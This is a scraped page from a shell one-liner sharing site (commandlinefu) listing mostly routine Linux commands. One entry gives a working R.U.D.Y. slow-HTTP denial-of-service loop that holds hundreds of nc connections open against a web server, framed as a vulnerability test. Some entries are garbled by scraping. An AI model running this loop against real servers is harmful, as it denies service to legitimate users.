All commands sorted by votes

All commands (14,187)

sorted by

Find artist and title of a music cd, UPC code given (first result only)

Substitute that 724349691704 with an UPC of a CD you have at hand, and (hopefully) this oneliner should return the $Artist - $Title, querying discogs.com. Yes, I know, all that head/tail/grep crap can be improved with a single sed command, feel free to send "patches" :D Enjoy! Show Sample Output
This is sample output - yours may be different.
```
Iron Maiden - Killers
```
-1

wget http://www.discogs.com/search?q=724349691704 -O foobar &> /dev/null ; grep \/release\/ foobar | head -2 | tail -1 | sed -e 's/^<div>.*>$.*$<\/a><\/div>/\1/' ; rm foobar

TetsuyO · 2011-01-30 23:34:54 3
Generate MD5 of string and output only the hash checksum
This is sample output - yours may be different.
-1

echo -n "String to MD5" | md5sum | awk '{print $1}'

twjolson · 2011-03-05 02:37:28 4
Root Security

This will tighten up security for your box. The default value for PermitRootLogin sadly is 'yes'.
This is sample output - yours may be different.
-1

s=/etc/ssh/sshd_config;r=PermitRootLogin;cp $s{,.old}&& if grep $r $s;then sed "s/$r yes/$r no/" $s.old > $s; else echo $r no >> $s;fi

kzh · 2011-01-30 23:41:59 11
Get column names in MySQL

Useful when you need to write e.g. an INSERT for a table with a large number of columns. This command will retrieve the column names and comma-separate them ready for INSERT INTO(...), removing the last comma.
This is sample output - yours may be different.
-1

mysql -u <user> --password=<password> -e "SHOW COLUMNS FROM <table>" <database> | awk '{print $1}' | tr "\n" "," | sed 's/,$//g'

maxmanders · 2009-10-29 13:42:17 3
ffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t 222222' -an mm.flv

add overlay png image to video as logo...........
This is sample output - yours may be different.
-1

ffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t 222222' -an mm.flv

sandeepverma · 2009-11-30 10:34:51 4
find duplicate files in a directory and choose which one to delete

allow you to find duplicates files in "DIRECTORY" and choose wich one to delete fudpes must be installed: sudo apt-get install fdupes
This is sample output - yours may be different.
-1

fdupes DIRECTORY/ -r -d

desmatron · 2011-03-05 09:48:35 5
Change size of lots of image files. File names are read from a text file.

Imagemagick library is used. If image format is not JPEG, the "quality" option should not be issued.
This is sample output - yours may be different.
-1

( while read File; do mogrify -resize 1024 -quality 96 $File; done ) < filelist

Corsair · 2009-02-08 02:48:26 11
restart Bluetooth from terminal

http://askubuntu.com/questions/38860/problems-with-my-bluetooth-indicator Show Sample Output
This is sample output - yours may be different.
```
 * Stopping bluetooth                                                    [ OK ] 
 * Starting bluetooth                                                    [ OK ]
```
-1

sudo service bluetooth restart

mariusbutuc · 2011-09-16 15:01:21 11
Force kill all named processes
This is sample output - yours may be different.
-1

kill -9 $(ps -ef | grep [h]ttpd | awk '{print $2}')

peterRepeater · 2012-02-28 13:15:55 5
Combo matrix

This is longer than others on here. The reason for this is I have combined two different matrix commands so it would work on all computers. I logged onto my server through a computer and it worked fine. I logged into my server through a mac and it looked $4!t so I have made one that works through both. Show Sample Output
This is sample output - yours may be different.
```
echo -e "\e[32m"; while :; do printf '%*c' $(($RANDOM % 30)) $(($RANDOM
% 2)); for i in {1..16}; do r=`echo -e "\x$(echo $(($(($RANDOM % 26)) + 
$(echo $([[ $(($RANDOM % 3)) == 1 ]] && echo -n 48 || echo -n $([[ 
$(($RANDOM % 3)) == 2 ]] && echo -n 97 || echo -n 65))))) 16 o p | 
dc)"`; if [[ $(($RANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1  ]]; then v+="\e[1m $r   "; else v+="\e[2m $r   "; fi; else v+="     ";  fi; done; echo -e "$v"; v="";done
```
-1

echo -e "CHECK=SAMPLE" output --command_to_long

techie · 2013-04-03 08:46:47 10

Sort all processes by the amount of virtual memory they are using

left-most column is PID, middle is virtual memory being consumed, right-most is actual process. Show Sample Output

-1

ps -e -o pid,vsz,comm= | sort -n -k 2

jmorganwalker · 2014-05-14 00:36:50 12

Erase empty files

The command find search commands with size zero and erase them.
This is sample output - yours may be different.
-1

find . -size 0 -print0 | xargs -0 rm

osvaldofilho · 2009-10-29 14:10:02 3
manually set system date/time

date MMDDhhmmYYYY date MMDDhhmm # example 27.12.1975 08:00 date 122708001975 Show Sample Output
This is sample output - yours may be different.
```
xen1 ~ # date
Sat May 29 08:30:02 CEST 2010
xen1 ~ # date 122708001975
Sat Dec 27 08:00:00 CET 1975
xen1 ~ # date
Sat Dec 27 08:00:01 CET 1975
```
-1

date MMDDhhmmYYYY

christian773 · 2010-05-29 08:26:13 3
Mini-framework: just paste and execute!

Schematics: command [options] [paste your variable here] parameter command [options] [paste entire column of variables here] parameter ... (hard-code command "c" and parameter "e" according to your wishes: in example shown command = "cp -a" and parameter = "~") Features: - Quick exchange only variable part of a long command line - Make variable part to be an entire column of data (i.e. file list) - Full control while processing every single item Hints: Paste column of data from anywhere. I.e. utilize the Block Select Mode to drag, select and copy columns (In KDE Konsole with Ctrl+Alt pressed, or only Ctrl pressed in GNOME Terminal respectively). Disadvantages: You can paste only one single variable in a row. If there are more space separated variables in a row only first one will be processed, but you can arrange your variables in a column instead. To transpose rows to columns or vice versa look at Linux manual pages for 'cut' and 'paste'. TODO: - add edit mode to vary command "c" and parameter "e" on the fly - add one edit mode more to handle every list item different - add y/n/a (=All) instead of only y(=default)/n to allowed answers Disclaimer: The code is not optimized, only the basic idea is presented here. It's up to you to shorten code or extend the functionality. Show Sample Output
This is sample output - yours may be different.
```
paste

./test/data1
./test/test0.sh
./test/test0.sh~

cp -ap ./test/data1 ~
y/n?
y
cp -ap ./test/test0.sh ~
y/n?
^C
```
-1

c="cp -a";e="~";echo -e "\npaste\n";i=0;k="1"; while [[ "$k" != "" ]]; do read -a k;r[i]=$k;((i++));done;i=0;while :;do t=${r[i]};[ "$t" == "" ] && break; g=$(echo $c ${r[i]} $e);echo -e $g "\ny/n?";read y;[ "$y" != "n" ] && eval $g;((i++));done

knoppix5 · 2011-12-04 12:45:44 4
a find and replace within text-based files
This is sample output - yours may be different.
-1

sed -i 's/http:\/\/old\/new\///g' index.html

leonteale · 2013-02-07 18:45:23 5
Encrypted Tarballs

gpg's compression is as suitable as gzip's however your backups can now be encrypted. to extract use: gpg < folder.tpg | tar -xf -
This is sample output - yours may be different.
-1

tar -cf - folder/ | gpg -c > folder.tpg

copremesis · 2009-05-08 19:20:08 5
Get your external IP address

Same thing as above, just uses fetch and ipchicken.com Show Sample Output
This is sample output - yours may be different.
```
1.2.3.4
```
-1

fetch -q -o - http://ipchicken.com | egrep -o '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}'

spackle · 2009-08-06 11:57:44 3
Autodetect screens and extend workspace to the left

Disper: http://willem.engen.nl/projects/disper/ Moving Gnome Panels to the external screen is done using gconf-editor, changing property "/apps/panel/toplevels/top_panel_screen0/monitor", as well as "/apps/panel/toplevels/bottom_panel_screen0/monitor" to int value "1". This can be done from the command line using ' gconftool-2 --set "/apps/panel/toplevels/top_panel_screen0/monitor" --type integer "1"' so a nice script can be written.
This is sample output - yours may be different.
-1

disper --displays=auto -e -t left

unixmonkey6754 · 2010-01-28 06:46:56 113
Performs Layer 7 HTTP DoS attack

Check if your HTTP server is vulnerable to a very effective variant of slow HTTP attack called R.U.D.Y (R-U-Dead-Yet?). This command tries to keep many connections to the target web server and hold them open as long as possible. Affected server will exhaust its maximum concurrent connection pool and deny additional connection attempts from legitimate clients. Use it with caution!
This is sample output - yours may be different.
-1

for i in `seq 300`; do ( ( echo -e "POST / HTTP/1.1\nHost: vhost.domain\nContent-length: 100000\n\n"; for j in `seq 600`; do echo $j=$j\&; sleep 5; done ) | nc vhost.domain 80 & ); done

elceef · 2015-04-15 14:02:55 9
Get your external IP address
This is sample output - yours may be different.
-1

wget -O - http://checkip.dyndns.org|sed 's/[^0-9.]//g'

thundernode · 2009-08-06 12:47:32 5
Find out who change what files in a SVN repository
This is sample output - yours may be different.
-1

svn log -v | less

jimthunderbird · 2010-02-26 08:01:55 3
Batch file suffix renaming

Renames files eliminating suffix, in this case everything after "-" is cutted. Just change "-" with the character you need. Show Sample Output
This is sample output - yours may be different.
```
Before:
TFO-RINGTONE.mp3

After:
TFO.mp3
```
-1

for i in *; do j=`echo $i | cut -d "-" -f1`; j=$j; mv $i $j; done

jaimerosario · 2011-03-06 11:58:37 16
convert chrome html export to folders, links and descriptions

chrome only lets you export in html format, with a lot of table junk, this command will just export the titles of the links and the links without all that extra junk Show Sample Output
This is sample output - yours may be different.
```
<h3>search engines</h3>
<a href="http://google.com/">google search engine</a>
```
-1

grep -E '<DT><A|<DT><H3' bookmarks.html | sed 's/<DT>//' | sed '/Bookmarks bar/d' | sed 's/ ADD_DATE=\".*\"//g' | sed 's/^[ \t]*//' | tr '<A HREF' '<a href'

chrismccoy · 2011-05-26 22:21:01 8
Processes biglion quantity of sold ebay coupons/bonus codes

Processes biglion quantity of sold ebay coupons/bonus codes, so you can know approximate count of users who buyed the coupons and when sales are come up again. You can change sleep parameter so script will work slowly or faster (default is 5 seconds). Additional requirements: curl Standart tools used: awk, date, cat, grep (bash) Show Sample Output
This is sample output - yours may be different.
```
Fri Nov  8 12:32:03 UTC 2013
9518

Fri Nov  8 12:32:08 UTC 2013
9518
```
-1

while true; do date; (curl -s -o 1.html http://www.biglion.ru/deals/ebay-80/ &); sleep 5; cat 1.html | grep "купонов" | awk -F"<div>" '{print $2}' | awk -F"<span>" '{print $1}'; done

sxiii · 2013-11-08 12:40:05 7
make image semi-transparent
This is sample output - yours may be different.
-1

Pasion_por_Debian_1_by_arthecrow

bokeron23 · 2014-08-23 10:03:25 8
‹ First < 475 476 477 478 479 > Last ›

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands

Check These Out

List open sockets protocol/address/port/state/PID/program name

Alternative way to generate an XKCD #936 style 4 word password usig sed

This is what I came up to generate XKCD #936 style four-word password. Since first letter of every word is capitalized it looks a bit more readable to my eyes. Also strips single quotes. And yes - regex is a bit of a kludge, but that's the bes i could think of.

Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.

Since coreutils 7.6 provides sort -h

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Rename all .jpeg and .JPG files to .jpg

Find usb device

I often use it to find recently added ou removed device, or using find in /dev, or anything similar. Just run the command, plug the device, and wait to see him and only him

Create executable, automountable filesystem in a file, with password!

This is just a proof of concept: A FILE WHICH CAN AUTOMOUNT ITSELF through a SIMPLY ENCODED script. It takes advantage of the OFFSET option of mount, and uses it as a password (see that 9191? just change it to something similar, around 9k). It works fine, mounts, gets modified, updated, and can be moved by just copying it. USAGE: SEE SAMPLE OUTPUT The file is composed of three parts: a) The legible script (about 242 bytes) b) A random text fill to reach the OFFSET size (equals PASSWORD minus 242) c) The actual filesystem Logically, (a)+(b) = PASSWORD, that means OFFSET, and mount uses that option. PLEASE NOTE: THIS IS NOT AN ENCRYPTED FILESYSTEM. To improve it, it can be mounted with a better encryption script and used with encfs or cryptfs. The idea was just to test the concept... with one line :) It applies the original idea of http://www.commandlinefu.com/commands/view/7382/command-for-john-cons for encrypting the file. The embedded bash script can be grown, of course, and the offset recalculation goes fine. I have my own version with bash --init-file to startup a bashrc with a well-defined environment, aliases, variables.

git pull all repos

Swap a file or dir with quick resotre

This lets you replace a file or directory and quickly revert if something goes wrong. For example, the current version of a website's files are in public_html. Put a new version of the site in public_html~ and execute the command. The names are swapped. If anything goes wrong, execute it again (up arrow or !!).

generate iso

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

» all commands
» commands with 3 up-votes (commandlinefu3)
» commands with 10 up-votes (commandlinefu10)

All commands (14,187) the last day the last week the last month all time sorted by date votes

What's this?

Check These Out

Stay in the loop…

All commands (14,187)

sorted by